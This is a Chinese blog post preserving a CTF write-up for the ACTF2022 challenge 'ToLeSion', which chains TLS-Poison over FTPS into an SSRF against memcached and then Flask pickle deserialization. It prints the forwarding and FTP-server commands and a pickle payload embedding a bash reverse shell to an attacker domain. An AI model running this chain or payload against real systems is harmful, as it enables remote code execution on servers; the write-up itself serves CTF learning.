【ACTF2022】ToLeSion

书接上回,这是烨师傅没有做出来的那一道题,但是还是找到了WP抄下来保存一下
(想复现一次结果发现环境关了,悲,不过也可以自己起一个)

烨队的解题思路:

搭建一个TLS服务器,同时服务器上起一个Redis,redis服务器中保存一个session,vaule为:acftSession: xxxxxxxxx + Pickle反序列化C指令码RCE的Payload
让TLS服务器从Redis中取出可以RCE的session,然后TLS服务器转发流量到FTP服务器上,ftp服务器通过PASV转发到pymemcached
在Python从pymemcache调用缓存数据的时候,flask-session类库会触发session中的pickle反序列化数据,从而造成RCE

Exp可以参考陆队的:https://github.com/ZeddYu/TLS-poison/blob/master/Practice1-hxp2020/solution2/exp.py

需要注意的点在于题目的memcache端口为11200,而非11211,需要修改端口
其次就是要确保有效的SSL证书,不然pycurl会直接中断请求。

Github-l3s10n-Writeup

文章如下
这道题主要的考点是ftps的TLS-Poison + flask的pickle反序列化。

从源码可以看到,flask使用的是memcached存储session,而flask在读取memcached存储的session时会反序列化这里的内容,因此只需要向memcached写入一个恶意的session,触发反序列化即可。

那么如何向memcached写内容呢?

关于这一点,题目设置了很多的暗(ming)示:

  • 标题的ToLeSion,大写字母TLS。
  • memcached——经典TLS-Poison受害者。
  • pycurl几乎禁用了所有的协议唯独没有禁用FTPS。
  • 设置FTP_SKIP_PASV_IP为0。

    ftp-skip-pasv-ip设置了curl不要使用被动模式下服务器提供的ip和端口,这个设置在curl 7.74.0版本之后默认是开启的,这里显式设置为0也是一个很强的暗示。

很明显,我们需要使用ftps打TLS-Poison,ssrf写memcached。

关于TLS-Poison,这里推荐一下zeddy师傅的博客,写得非常全面且详细:

感谢zeddy师傅撰写了如此优秀的博客。

简单来说,当客户端使用ftps://ip:port/访问ftp服务器,ftp服务器在被动模式下向客户端指定数据传输的ip和端口,客户端连接服务器该ip和端口时会重用第一次连接的相关信息,这里就导致了ssrf。

针对TLS-Poison的利用,这里推荐一下这个github仓库:

https://github.com/jmdx/TLS-Poison

我们可以用它来实现TLS层的解析,通过下面的命令监听8000端口并将tls解析之后应用层的内容转发给1234端口:

target/debug/custom-tls -p 8000 --verbose --certs /etc/letsencrypt/live/<your_domain>/fullchain.pem --key /etc/letsencrypt/live/<your_domain>/privkey.pem  forward 1234

使用redis设置payload:

set payload "\r\nset actfSession:whatever 0 0 <len>\n(S'/bin/bash -c \"/bin/bash -i >& /dev/tcp/<your_domain>/8080 0>&1\"'\nios\nsystem\n.\r\n"

经过8000端口的解析,转发到1234端口的内容就是普通的ftp请求了。在1234端口开启一个被动模式返回ip和端口是ssrf目标的ftp服务即可,针对本题就是127.0.0.1的11200端口:

python3 FTPserverForTLSpoison.py 1234 127.0.0.1 11200

控制目标机访问ftps://:8000/,即可触发上述TLS-Poison流程,向memcached写入序列化字符串。

最后监听8080端口,使用上述写入的session访问网站即可触发反序列化getshell。

发布者

正汰

永远是这样,山前面是山,天空上面是天空,道路前面还是道路,迷茫之后还有迷茫。

发表回复

您的电子邮箱地址不会被公开。